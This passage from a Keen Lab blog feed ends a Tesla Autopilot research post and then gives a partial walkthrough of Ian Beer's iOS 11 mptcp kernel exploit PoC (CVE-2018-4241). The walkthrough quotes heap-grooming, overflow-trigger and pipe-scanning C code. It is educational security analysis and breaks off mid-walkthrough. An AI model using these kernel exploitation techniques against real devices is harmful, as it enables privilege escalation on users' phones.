[for our windshield wipers] is currently in BETA.’ A customer can also elect to use the manual windshield wiper setting at any time.”</em></span></p><p>Tesla’s feedback on Lane Recognition:</p><p><span style="color:rgb(31,73,125)"><em>“In this demonstration the researchers adjusted the physical environment (e.g. placing tape on the road or altering lane lines) around the vehicle to make the car behave differently when Autopilot is in use. This is not a real-world concern given that a driver can easily override Autopilot at any time by using the steering wheel or brakes and should be prepared to do so at all times.”</em></span></p><p>Tesla’s feedback for the “Control Steering System with a Gamepad” Research：</p><p><span style="color:rgb(31,73,125)"><em>“The primary vulnerability addressed in this report was fixed by Tesla through a robust security update in 2017, followed by another comprehensive security update in 2018, both of which we released before this group reported this research to us. In the many years that we have had cars on the road, we have never seen a single customer ever affected by any of the research in this report.”</em></span></p><h2 id="About-Tencent-Keen-Security-Lab"><a href="#About-Tencent-Keen-Security-Lab" class="headerlink" title="About Tencent Keen Security Lab"></a>About Tencent Keen Security Lab</h2><p>Tencent Keen Security Lab (in abbreviation “Keen Lab”) is a professional security research team, focusing on information security research of both attack and protection techniques, under Tencent Company. In the past years, Keen Lab built security research partnership with global manufactures in software, hardware, and internet industries, and achieved a lot of worldwide leading security research results.</p><p>Since the Year 2015, Keen Lab started research projects in IoT[3] and Connected Vehicle[4,5,6] categories and building partnership with manufacturers in IoT and car industries. In the Year 2016 and 2017, Keen Lab published the well-known research globally on “Tesla Model S and Model X Remote Hacking” with leveraging “Responsible Disclosure” practice to report the vulnerabilities and attack chains to Tesla.</p><p>[1] <a href="https://www.tesla.com/autopilot">https://www.tesla.com/autopilot</a><br>[2] <a href="https://www.blackhat.com/us-18/briefings/schedule/#over-the-air-how-we-remotely-compromised-the-gateway-bcm-and-autopilot-ecus-of-tesla-cars-10806">https://www.blackhat.com/us-18/briefings/schedule/#over-the-air-how-we-remotely-compromised-the-gateway-bcm-and-autopilot-ecus-of-tesla-cars-10806</a><br>[3] <a href="https://keenlab.tencent.com/zh/2017/04/01/remote-attack-on-mi-ninebot/">https://keenlab.tencent.com/zh/2017/04/01/remote-attack-on-mi-ninebot/</a><br>[4] <a href="https://keenlab.tencent.com/en/2016/09/19/Keen-Security-Lab-of-Tencent-Car-Hacking-Research-Remote-Attack-to-Tesla-Cars/">https://keenlab.tencent.com/en/2016/09/19/Keen-Security-Lab-of-Tencent-Car-Hacking-Research-Remote-Attack-to-Tesla-Cars/</a><br>[5] <a href="https://keenlab.tencent.com/en/2017/07/27/New-Car-Hacking-Research-2017-Remote-Attack-Tesla-Motors-Again/">https://keenlab.tencent.com/en/2017/07/27/New-Car-Hacking-Research-2017-Remote-Attack-Tesla-Motors-Again/</a><br>[6] <a href="https://keenlab.tencent.com/zh/2018/05/22/New-CarHacking-Research-by-KeenLab-Experimental-Security-Assessment-of-BMW-Cars/">https://keenlab.tencent.com/zh/2018/05/22/New-CarHacking-Research-by-KeenLab-Experimental-Security-Assessment-of-BMW-Cars/</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/en/img/Tencent-Keen-Security-Lab-Experimental-Security-Research-of-Tesla-Autopilot/0.png&quot;&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="CarHacking" scheme="http://keenlab.tencent.com/en/tags/CarHacking/"/>
    
  </entry>
  
  <entry>
    <title>Exploiting iOS 11.0-11.3.1 Multi-path-TCP:A walk through</title>
    <link href="http://keenlab.tencent.com/en/2018/07/19/Exploiting-iOS-11-0-11-3-1-Multi-path-TCP-A-walk-through/"/>
    <id>http://keenlab.tencent.com/en/2018/07/19/Exploiting-iOS-11-0-11-3-1-Multi-path-TCP-A-walk-through/</id>
    <published>2018-07-19T14:30:23.000Z</published>
    <updated>2025-12-08T11:23:10.850Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Introduction"><a href="#Introduction" class="headerlink" title="Introduction"></a>Introduction</h1><p>The iOS 11 mptcp bug (<strong><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-4241">CVE-2018-4241</a></strong>) discovered by Ian Beer is a serious kernel vulnerability which involves a buffer overflow in <code>mptcp_usr_connectx</code> that allows attackers to execute arbitrary code in a privileged context.</p><p>Ian Beer attached an interesting piece of PoC code which demonstrated a rather elegant technique to obtain the kernel task port with this vulnerability. Extending on his brief writeup that comes with the PoC, this blog post will mainly aim at walking through the PoC in great details as well as covering its background. If you are an iOS security researcher who hasn’t looked into the PoC source code yet, hopefully you will find the materials handy when you decide to do so.</p><p>Please have a copy of mptcp PoC code before we dive in! You can download it from here: <a href="https://bugs.chromium.org/p/project-zero/issues/attachment?aid=342508&signed_aid=6W5QEbpa78zrMM3U1z-CqQ==">Download</a></p><p><strong>Note</strong>: All credits for exploitation techniques, vulnerability PoC code and original writeup belong to Ian Beer at Google Project Zero.</p><span id="more"></span><h1 id="The-Vulnerability"><a href="#The-Vulnerability" class="headerlink" title="The Vulnerability"></a>The Vulnerability</h1><p>Let’s first take a quick look at the offending code in <code>mptcp_usr_connect()</code>, which is the handler for the <code>connectx</code> syscall for the <code>AP_MULTIPATH</code> socket family: </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (src) &#123;</span><br><span class="line">    <span class="comment">// verify sa_len for AF_INET</span></span><br><span class="line"><span class="keyword">if</span> (src-&gt;sa_family == AF_INET &amp;&amp;</span><br><span class="line">    src-&gt;sa_len != <span class="keyword">sizeof</span>(mpte-&gt;__mpte_src_v4)) &#123;</span><br><span class="line">mptcplog((LOG_ERR, <span class="string">&quot;%s IPv4 src len %u\n&quot;</span>, __func__,</span><br><span class="line">  src-&gt;sa_len),</span><br><span class="line"> MPTCP_SOCKET_DBG, MPTCP_LOGLVL_ERR);</span><br><span class="line">error = EINVAL;</span><br><span class="line"><span class="keyword">goto</span> out;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// verify sa_len for AF_INET6</span></span><br><span class="line"><span class="keyword">if</span> (src-&gt;sa_family == AF_INET6 &amp;&amp;</span><br><span class="line">    src-&gt;sa_len != <span class="keyword">sizeof</span>(mpte-&gt;__mpte_src_v6)) &#123;</span><br><span class="line">mptcplog((LOG_ERR, <span class="string">&quot;%s IPv6 src len %u\n&quot;</span>, __func__,</span><br><span class="line">  src-&gt;sa_len),</span><br><span class="line"> MPTCP_SOCKET_DBG, MPTCP_LOGLVL_ERR);</span><br><span class="line">error = EINVAL;</span><br><span class="line"><span class="keyword">goto</span> out;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// code doesn&#x27;t bail if sa_family is neither AF_INET nor AF_INET6</span></span><br><span class="line"><span class="keyword">if</span> ((mp_so-&gt;so_state &amp; (SS_ISCONNECTED|SS_ISCONNECTING)) == <span class="number">0</span>) &#123;</span><br><span class="line"><span class="built_in">memcpy</span>(&amp;mpte-&gt;mpte_src, src, src-&gt;sa_len);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The code does not validate the <code>sa_len</code> field if <code>src→sa_family</code> is neither <code>AF_INET</code> nor <code>AF_INET6</code> so the function directly falls through to <code>memcpy</code> with a user specified <code>sa_len</code> value up to 255 bytes.</p><h1 id="Background"><a href="#Background" class="headerlink" title="Background"></a>Background</h1><h2 id="Kernel-zone-heap-allocator"><a href="#Kernel-zone-heap-allocator" class="headerlink" title="Kernel zone heap allocator"></a>Kernel zone heap allocator</h2><p>To oversimplify a bit, kernel heap memory is divided into zones, and within one zone allocations are of the same size. For each zone, kernel keeps four doubly-linked lists to categorize a page’s memory availability, namely:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">  <span class="type">queue_head_t</span> any_free_foreign;  </span><br><span class="line">  <span class="type">queue_head_t</span> all_free;</span><br><span class="line">  <span class="type">queue_head_t</span> intermediate;</span><br><span class="line">  <span class="type">queue_head_t</span> all_used;</span><br><span class="line">&#125; pages;</span><br></pre></td></tr></table></figure><p>When a memory allocation is requested, <code>intermediate</code> page list is traversed before <code>all_free</code> list, and a free memory block will be returned from the first available page.</p><h2 id="Preallocated-ipc-kmsg-buffer"><a href="#Preallocated-ipc-kmsg-buffer" class="headerlink" title="Preallocated ipc_kmsg buffer"></a>Preallocated ipc_kmsg buffer</h2><p><code>ipc_port</code> has a <code>struct ipc_kmsg *premsg</code> member that points to an optional preallocated <code>ipc_kmsg</code> buffer. The intended use case is to allow user space to receive critical messages without the kernel having to make a heap allocation. Each time the kernel sends a real mach message it first checks whether the port has one of these preallocated buffers. In addition, this kernel heap buffer will not be freed after the message gets delivered to user space. Ian Beer uses this fact to increase the stability of the exploit.</p><h2 id="Mach-exception-port"><a href="#Mach-exception-port" class="headerlink" title="Mach exception port"></a>Mach exception port</h2><p>Mach provides an IPC-based exception-handling facility wherein exceptions are converted to messages. A thread or task can register one or multiple mach ports as so-called “exception port” to receive information about an exception. When an exception occurs, a message containing information about the exception is sent to the exception port. In this way, together with a mach port with preallocated <code>ipc_kmsg</code> buffer, we can force the kernel to send data to a deterministic location in the heap. Furthermore, we can also partially control the content of the message by manipulating the register state at the time of the exception, which will be dutifully carried over in the message by the kernel.</p><p>For more information about preallocated message and exception handling mechanism, readers are adviced to check out Ian Beer’s excellent writeup on the iOS 10 extra-recipe bug <a href="https://googleprojectzero.blogspot.com/2017/04/exception-oriented-exploitation-on-ios.html">here</a>, as well as Chapter 9.7 in Amit Singh’s seminal <em>Mac OS X Internals</em>.</p><hr><p>Ok, let’s now dig in!</p><h1 id="Finding-the-target"><a href="#Finding-the-target" class="headerlink" title="Finding the target"></a>Finding the target</h1><p>By passing in a <code>src</code> with an unexpected <code>sa_family</code>, we are now able to overflow inside <code>mpte</code>, a <code>mptses</code> structure, with <code>sa_len</code> bytes of attacker-controlled data. Here is the struct declaration in <code>/bsd/netinet/mptcp_var.h:</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">mptses</span> &#123;</span></span><br><span class="line">...</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">union</span> &#123;</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sockaddr</span><span class="title">mpte_src</span>;</span>  <span class="comment">// The field we are overflowing out of</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span> __<span class="title">mpte_src_v4</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in6</span> __<span class="title">mpte_src_v6</span>;</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">union</span> &#123;</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sockaddr</span><span class="title">mpte_dst</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span> __<span class="title">mpte_dst_v4</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in6</span> __<span class="title">mpte_dst_v6</span>;</span></span><br><span class="line">&#125;;</span><br><span class="line">  ...</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span>MPTE_ITFINFO_SIZE4</span></span><br><span class="line"><span class="type">uint32_t</span>mpte_itfinfo_size;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">mpt_itf_info</span>_<span class="title">mpte_itfinfo</span>[<span class="title">MPTE_ITFINFO_SIZE</span>];</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">mpt_itf_info</span>*<span class="title">mpte_itfinfo</span>;</span></span><br><span class="line">  ...</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>Here, the <code>mpte_itfinfo</code> is particularly interesting because it’s a pointer… keep digging in references to <code>mpte_itfinfo</code>… oh snap!</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (mpte-&gt;mpte_itfinfo_size &gt; MPTE_ITFINFO_SIZE)</span><br><span class="line">  _FREE(mpte-&gt;mpte_itfinfo, M_TEMP);</span><br></pre></td></tr></table></figure><p>In <code>mptcp_session_destroy</code>, the address pointed to by <code>mpte_itfinfo</code> is freed, and <code>mpte_itfinfo_size</code> is under our complete control too! Moreover, we don’t need to know a priori the size of the object we would like to <code>_FREE</code>, because <code>kfree_addr()</code> will look up the size from the memory zone struct in which the object resides. (<code>_FREE</code> is just a macro around <code>kfree_addr().</code>)</p><p>This is just too good to be true. </p><h1 id="Set-up-the-heap"><a href="#Set-up-the-heap" class="headerlink" title="Set up the heap"></a>Set up the heap</h1><p>To turn this overflow into something actually useful, it’s time for some heap Feng Shui. The end goal here is to have an <code>ipc_kmsg</code> and a <code>pipe buffer</code> overlapping with each other so that we can write to and read from it. In the PoC, Ian Beer chooses to overwrite the lower 3 bytes of <code>mpte_itfinfo</code> with 0x000000, after which it will point to a 16MB aligned page boundary.  </p><p>In order to have an <code>ipc_kmsg</code> sitting right at that 16MB boundary, the code alternatingly allocates 16MB of <code>ipc_kmsg</code> and a bunch of mptcp sockets in the kernel heap. The former is done by allocating fake mach ports and sending mach messages of calculated size to the port, during which <code>mach_msg(...MACH_SEND_MSG...)</code> will allocate kernel heap buffer for us and <code>copyin</code> the message from user space. This technique allows us to effectively do the same thing as <code>kalloc</code> but from outside the kernel. We are also able to control the memory zone for the <code>ipc_kmsg</code>, since all it takes is just to work backward, calculate the <code>msgh_size</code> based on the kalloc size we would like to achieve. In the PoC, Ian Beer chose to place <code>ipc_kmsg</code>s in <code>kalloc.2048</code> zone.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// a few times do:</span></span><br><span class="line">  <span class="comment">// alloc 16MB of messages</span></span><br><span class="line">  <span class="comment">// alloc a hundred sockets</span></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;trying to force a 16MB aligned 0x800 kalloc on to freelist\n&quot;</span>);</span><br><span class="line">  <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">7</span>; i++) &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;%d/6...\n&quot;</span>, i);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">0</span>; j &lt; <span class="number">0x2000</span>; j++) &#123;</span><br><span class="line">      <span class="type">mach_port_t</span> p = fake_kalloc(<span class="number">0x800</span>); <span class="comment">// kalloc.2048 zone block size</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">0</span>; j &lt; <span class="number">100</span>; j++) &#123;</span><br><span class="line">      <span class="type">int</span> sock = alloc_mptcp_socket();</span><br><span class="line">      </span><br><span class="line">      <span class="comment">// we&#x27;ll keep two of them:</span></span><br><span class="line">      <span class="keyword">if</span> (i == <span class="number">6</span> &amp;&amp; (j==<span class="number">94</span> || j==<span class="number">95</span>)) &#123;</span><br><span class="line">        target_socks[next_sock] = sock;</span><br><span class="line">        next_sock++;</span><br><span class="line">        next_sock %= (<span class="keyword">sizeof</span>(target_socks)/<span class="keyword">sizeof</span>(target_socks[<span class="number">0</span>]));</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        sockets[next_all_sock++] = sock;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><h1 id="Trigger-the-bug"><a href="#Trigger-the-bug" class="headerlink" title="Trigger the bug"></a>Trigger the bug</h1><p>The code in <code>do_partial_kfree_with_socket</code> triggers the bug, overwriting the lower 3 bytes of <code>*mpte_itfinfo</code> with NULL bytes and let’s hope now it somewhat looks like the diagram shown below. Fingers crossed! 🤞</p><p><img src="/en/img/Exploiting-iOS-11-0-11-3-1-Multi-path-TCP-A-walk-through/ScreenShot2018-07-13at1-093d217f-befe-4768-b88c-4c3f0840687d.48.09AM.png"></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">do_partial_kfree_with_socket</span><span class="params">(<span class="type">int</span> fd, <span class="type">uint64_t</span> kaddr, <span class="type">uint32_t</span> n_bytes)</span> &#123;</span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">sockaddr</span>* <span class="title">sockaddr_src</span> =</span> <span class="built_in">malloc</span>(<span class="number">256</span>);</span><br><span class="line">  <span class="built_in">memset</span>(sockaddr_src, <span class="string">&#x27;D&#x27;</span>, <span class="number">256</span>);</span><br><span class="line">  *(<span class="type">uint64_t</span>*) (((<span class="type">uint8_t</span>*)sockaddr_src)+koffset(KFREE_ADDR_OFFSET)) = kaddr;</span><br><span class="line">  sockaddr_src-&gt;sa_len = koffset(KFREE_ADDR_OFFSET)+n_bytes;</span><br><span class="line">  sockaddr_src-&gt;sa_family = <span class="string">&#x27;B&#x27;</span>; <span class="comment">// An abnormal sa_family </span></span><br><span class="line">  </span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">sockaddr</span>* <span class="title">sockaddr_dst</span> =</span> <span class="built_in">malloc</span>(<span class="number">256</span>);</span><br><span class="line">  <span class="built_in">memset</span>(sockaddr_dst, <span class="string">&#x27;C&#x27;</span>, <span class="number">256</span>);</span><br><span class="line">  sockaddr_dst-&gt;sa_len = <span class="keyword">sizeof</span>(<span class="keyword">struct</span> sockaddr_in6);</span><br><span class="line">  sockaddr_dst-&gt;sa_family = AF_INET6;</span><br><span class="line">  </span><br><span class="line">  <span class="type">sa_endpoints_t</span> eps = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">  eps.sae_srcif = <span class="number">0</span>;</span><br><span class="line">  eps.sae_srcaddr = sockaddr_src;</span><br><span class="line">  eps.sae_srcaddrlen = koffset(KFREE_ADDR_OFFSET)+n_bytes;</span><br><span class="line">  eps.sae_dstaddr = sockaddr_dst;</span><br><span class="line">  eps.sae_dstaddrlen = <span class="keyword">sizeof</span>(<span class="keyword">struct</span> sockaddr_in6);</span><br><span class="line">  </span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;doing partial overwrite with target value: %016llx, length %d\n&quot;</span>, kaddr, n_bytes);</span><br><span class="line">  </span><br><span class="line">  <span class="type">int</span> err = connectx(</span><br><span class="line">                     fd,</span><br><span class="line">                     &amp;eps,</span><br><span class="line">                     SAE_ASSOCID_ANY,</span><br><span class="line">                     <span class="number">0</span>,</span><br><span class="line">                     <span class="literal">NULL</span>,</span><br><span class="line">                     <span class="number">0</span>,</span><br><span class="line">                     <span class="literal">NULL</span>,</span><br><span class="line">                     <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line">  </span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;err: %d\n&quot;</span>, err);</span><br><span class="line">  </span><br><span class="line">  close(fd); <span class="comment">// Trigger the _FREE, but need to wait for mptcp_gc</span></span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line">  <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>After we point <code>mpte_itfinfo</code> to the 16MB boundary, we can trigger the <code>_FREE</code> by just <code>close</code> the socket.</p><p>One caveat is that we need to wait for <code>mptcp_gc</code> because <code>mpte_itfinfo</code> is not instantaneously <code>_FREE</code>‘ed after socket is closed, as evident by the comments of this function in <code>/xnu-4570.41.2/bsd/netinet/mptcp_subr.c</code>:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * MPTCP garbage collector.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * This routine is called by the MP domain on-demand, periodic callout,</span></span><br><span class="line"><span class="comment"> * which is triggered when a MPTCP socket is closed.  The callout will</span></span><br><span class="line"><span class="comment"> * repeat as long as this routine returns a non-zero value.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="type">static</span> <span class="type">uint32_t</span></span><br><span class="line"><span class="title function_">mptcp_gc</span><span class="params">(<span class="keyword">struct</span> mppcbinfo *mppi)</span></span><br><span class="line">&#123;</span><br><span class="line">...</span><br><span class="line">    mptcp_session_destroy(mpte); <span class="comment">// mpte_itfinfo is _FREE&#x27;ed here</span></span><br><span class="line">...</span><br><span class="line">    <span class="keyword">return</span> (active)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;waiting for second mptcp gc...\n&quot;</span>);</span><br><span class="line">  <span class="comment">// wait for the mptcp gc...</span></span><br><span class="line">  <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">400</span>; i++) &#123;</span><br><span class="line">    usleep(<span class="number">10000</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>After <code>_FREE</code>, hopefully now one of the <code>ipc_kmsg</code> is freed and the page put on the Intermidiate list.</p><p><img src="/en/img/Exploiting-iOS-11-0-11-3-1-Multi-path-TCP-A-walk-through/ScreenShot2018-07-11at4-7293bd49-18de-4f1f-b740-ab1f0218e38f.25.21PM.png"></p><h1 id="Allocate-pipes"><a href="#Allocate-pipes" class="headerlink" title="Allocate pipes"></a>Allocate pipes</h1><p>Next, we allocate a bunch of pipes and write to its <code>write end</code> 2047 bytes of data. The backing buffers for these pipes will come from kalloc.2048, hopefully including our 16MB-aligned address:</p><p><img src="/en/img/Exploiting-iOS-11-0-11-3-1-Multi-path-TCP-A-walk-through/ScreenShot2018-07-11at4-f863a95f-fb6b-4211-a7d2-1e198c91787d.26.36PM.png"></p><h1 id="Trigger-the-bug-again"><a href="#Trigger-the-bug-again" class="headerlink" title="Trigger the bug again"></a>Trigger the bug again</h1><p>Trigger the bug a second time, <code>_FREE</code> the underlying pipe buffer and put the page on Intermediate page list again.</p><p>After overflow:</p><p><img src="/en/img/Exploiting-iOS-11-0-11-3-1-Multi-path-TCP-A-walk-through/ScreenShot2018-07-13at1-3ea59e74-43c5-4fc0-8cf8-1ee9fdea9066.46.46AM.png"></p><p>After <code>_FREE</code>:</p><p><img src="/en/img/Exploiting-iOS-11-0-11-3-1-Multi-path-TCP-A-walk-through/ScreenShot2018-07-11at4-bae4db7b-80b1-47d5-bf07-1791f930661f.29.34PM.png"></p><h1 id="Allocate-more-mach-ports"><a href="#Allocate-more-mach-ports" class="headerlink" title="Allocate more mach ports!"></a>Allocate more mach ports!</h1><p>Next, we allocate a bunch of mach ports with preallocated <code>ipc_kmsg</code> buffers from <code>kalloc.2048</code> zone using <code>mach_port_allocate_full()</code> and pass in the size as a member of the <code>mach_port_qos_t</code> parameter. The desired size for the preallocated buffer is 2048 bytes in order to place it in <code>kalloc.2048</code> zone, hopefully one of them picks up the space we just <code>_FREE</code> ‘ed.</p><p><img src="/en/img/Exploiting-iOS-11-0-11-3-1-Multi-path-TCP-A-walk-through/ScreenShot2018-07-11at5-e2e4478b-2274-4d8e-a98b-26c97212d509.42.43PM.png"></p><p>We then insert a <code>SEND RIGHT</code> to every mach port we allocated in this step, as each one will be registered as another thread’s exception port later.</p><h1 id="Catching-the-pipe"><a href="#Catching-the-pipe" class="headerlink" title="Catching the pipe"></a>Catching the pipe</h1><p>As shown on the diagram above, ideally now we have an <code>ipc_kmsg</code> (which we can get messages sent to and then receive) and a pipe buffer (which we can read and write) overlapping each other. </p><p>We now need to find out which one of the hundreds of pipes we allocated a while ago is on that spot.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">find_replacer_pipe</span><span class="params">(<span class="type">void</span>** contents)</span> &#123;</span><br><span class="line">  <span class="type">uint64_t</span>* read_back = <span class="built_in">malloc</span>(PIPE_SIZE);</span><br><span class="line">  <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; next_read_fd; i++) &#123;</span><br><span class="line">    <span class="type">int</span> fd = read_fds[i];</span><br><span class="line">    <span class="type">ssize_t</span> amount = read(fd, read_back, PIPE_SIZE);</span><br><span class="line">    <span class="keyword">if</span> (amount != PIPE_SIZE) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;short read (%ld)\n&quot;</span>, amount);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;full read\n&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="type">int</span> pipe_is_replacer = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">0</span>; j &lt; PIPE_SIZE/<span class="number">8</span>; j++) &#123;</span><br><span class="line">      <span class="keyword">if</span> (read_back[j] != <span class="number">0x4242424242424242</span>) &#123; <span class="comment">// Is the content still &quot;BBBBBBBB&quot;?</span></span><br><span class="line">        pipe_is_replacer = <span class="number">1</span>;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;found an unexpected value: %016llx\n&quot;</span>, read_back[j]);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (pipe_is_replacer) &#123;</span><br><span class="line">      *contents = read_back;</span><br><span class="line">      <span class="keyword">return</span> fd;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The technique Ian Beer used here is just to read from each pipe, and compare the content read with the original data we piped into the buffer, <code>BBBBBBBBB</code> (0x4242424242 in hex). If different, that means the underlying buffer has been overwritten by a newly allocated <code>ipc_kmsg</code>.</p><p>If we can’t find a pipe satisfying this condition it simply means there is no overlapping, and we just have to restart and wish ourselves better luck next time.</p><p><img 